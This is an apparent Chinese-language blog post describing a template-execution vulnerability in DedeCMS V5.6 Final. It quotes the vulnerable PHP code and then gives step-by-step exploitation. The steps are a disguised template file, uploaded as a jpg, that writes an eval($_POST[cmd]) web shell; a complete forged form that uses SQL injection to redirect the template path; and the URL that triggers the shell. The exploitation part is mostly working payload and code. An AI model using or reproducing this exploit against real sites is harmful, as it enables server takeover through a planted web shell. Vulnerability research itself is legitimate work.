很多站長都會遇到網站被黑客攻破,比如數據庫密碼過於簡單,服務器密碼過於簡單,或者CMS系統漏洞。
下面是一個DEDE的模板執行漏洞。
漏洞描述:Dedecms V5.6 Final版本中的各個文件存在一系列問題,經過精心構造的含有惡意代表的模板內容可以通過用戶後台的上傳附件的功能上傳上去,然後通過SQL注入修改附加表的模板路徑為我們上傳的模板路徑,模板解析類:include/inc_archives_view.php沒有對模板路徑及名稱做任何限制,則可以成功執行惡意代碼。
1、member/article_edit.php文件(注入):
漏洞在member文件夾下普遍存在,$dede_addonfields是由用戶提交的,可以被偽造,偽造成功即可帶入sql語句,於是我們可以給附加表的內容進行update賦值。
//分析處理附加表數據
$inadd_f = '';
if(!emptyempty($dede_addonfields))//自己構造$dede_addonfields
{
$addonfields = explode(';',$dede_addonfields);
if(is_array($addonfields))
{
print_r($addonfields);
foreach($addonfields as $v)
{
if($v=='')
{
continue;
}
$vs = explode(',',$v);
if(!isset(${$vs[0]}))
{
${$vs[0]} = '';
}
${$vs[0]} = GetFieldValueA(${$vs[0]},$vs[1],$aid);
$inadd_f .= ','.$vs[0]." ='".${$vs[0]}."' ";
echo $inadd_f;
}
}
}
…
if($addtable!='')
{
$upQuery = "Update `$addtable` set typeid='$typeid',body='$body'{$inadd_f},userip='$userip' where aid='$aid' ";//執行構造的sql
if(!$dsql->ExecuteNoneQuery($upQuery))
{
ShowMsg("更新附加表 `$addtable` 時出錯,請聯系管理員!","javascript:;");
exit();
}
}
…
2、include/inc_archives_view.php:
這是模板處理類,如果附加表的模板路徑存在,直接從附加表取值;GetTempletFile獲取模板文件的方法就是取的此處的模板路徑,從來帶進去解析。
…
//issystem==-1 表示單表模型,單表模型不支持redirecturl這類參數,因此限定內容普通模型才進行下面查詢
if($this->ChannelUnit->ChannelInfos['addtable']!='' && $this->ChannelUnit->ChannelInfos['issystem']!=-1)
{
if(is_array($this->addTableRow))
{
$this->Fields['redirecturl'] = $this->addTableRow['redirecturl'];
$this->Fields['templet'] = $this->addTableRow['templet'];//取值
$this->Fields['userip'] = $this->addTableRow['userip'];
}
$this->Fields['templet'] = (emptyempty($this->Fields['templet']) ? '' : trim($this->Fields['templet']));
$this->Fields['redirecturl'] = (emptyempty($this->Fields['redirecturl']) ? '' : trim($this->Fields['redirecturl']));
$this->Fields['userip'] = (emptyempty($this->Fields['userip']) ? '' : trim($this->Fields['userip']));
}
else
{
$this->Fields['templet'] = $this->Fields['redirecturl'] = '';
}
…
//獲得模板文件位置
function GetTempletFile()
{
global $cfg_basedir,$cfg_templets_dir,$cfg_df_style;
$cid = $this->ChannelUnit->ChannelInfos['nid'];
if(!emptyempty($this->Fields['templet']))
{
$filetag = MfTemplet($this->Fields['templet']);
if( !ereg('/', $filetag) ) $filetag = $GLOBALS['cfg_df_style'].'/'.$filetag;
}
else
{
$filetag = MfTemplet($this->TypeLink->TypeInfos["temparticle"]);
}
$tid = $this->Fields['typeid'];
$filetag = str_replace('{cid}', $cid,$filetag);
$filetag = str_replace('{tid}', $tid,$filetag);
$tmpfile = $cfg_basedir.$cfg_templets_dir.'/'.$filetag;
if($cid=='spec')
{
if( !emptyempty($this->Fields['templet']) )
{
$tmpfile = $cfg_basedir.$cfg_templets_dir.'/'.$filetag;
}
else
{
$tmpfile = $cfg_basedir.$cfg_templets_dir."/{$cfg_df_style}/article_spec.htm";
}
}
if(!file_exists($tmpfile))
{
$tmpfile = $cfg_basedir.$cfg_templets_dir."/{$cfg_df_style}/".($cid=='spec' ? 'article_spec.htm' : 'article_default.htm');
}
return $tmpfile;
}
漏洞利用:
1.上傳一個模板文件:
注冊一個用戶,進入用戶管理後台,發表一篇文章,上傳一個圖片,然後在附件管理裡,把圖片替換為我們精心構造的模板,比如圖片名稱是:
uploads/userup/2/12OMX04-15A.jpg
模板內容是(如果限制圖片格式,加gif89a):
{dede:name runphp='yes'}
$fp = @fopen("1.php", 'a');
@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
@fclose($fp);
{/dede:name}
2.修改剛剛發表的文章,查看源文件,構造一個表單:
<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent"
action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data" onsubmit="return checkSubmit();">
<input type="hidden" name="dopost" value="save" />
<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
<input type="hidden" name="sortrank" value="1275972263" />
<div id="mainCp">
<h3 class="meTitle"><strong>修改文章</strong></h3>
<div class="postForm">
<label>標題:</label>
<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>
<label>標簽TAG:</label>
<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗號分開)
<label>作者:</label>
<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" />
<label>隸屬欄目:</label>
<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>測試欄目</option>
</select> <span >*</span>(不能選擇帶顏色的分類)
<label>我的分類:</label>
<select name='mtypesid' size='1'>
<option value='0' selected>請選擇分類...</option>
<option value='1' class='option3' selected>hahahha</option>
</select>
<label>信息摘要:</label>
<textarea name="description" id="description">1111111</textarea>
(內容的簡要說明)
<label>縮略圖:</label>
<input name="litpic" type="file" id="litpic" onchange="SeePicNew('divpicview',this);" maxlength="100" class="intxt"/>
<input type='text' name='templet'
value="../ uploads/userup/2/12OMX04-15A.jpg">
<input type='text' name='dede_addonfields'
value="templet,htmltext;">(這裡構造)
</div>
<!-- 表單操作區域 -->
<h3 class="meTitle">詳細內容</h3>
<div class="contentShow postForm">
<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank">
<img border="0" alt="" src="/anquan/UploadFiles_3093/201008/20100819191753331.jpg" width="1010" height="456" /></a></div>
<p><?phpinfo()?>1111111</p>
" /><input type="hidden" id="body___Config" value="FullPage=false" />
<iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%"
height="350" frameborder="0" scrolling="no"></iframe>
<label>驗證碼:</label>
<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
<img src="http://127.0.0.1/dede/include/vdimgck.php" alt="看不清?點擊更換" align="absmiddle"
onclick="this.src=this.src+'?'" />
<button class="button2" type="submit">提交</button>
<button class="button2 ml10" type="reset" onclick="location.reload();">重置</button>
</div>
</div>
</form>
提交,提示修改成功,則我們已經成功修改模板路徑。
3.訪問修改的文章:
假設剛剛修改的文章的aid為2,則我們只需要訪問:
http://127.0.0.1/dede/plus/view.php?aid=2
即可以在plus目錄下生成小馬:1.php
*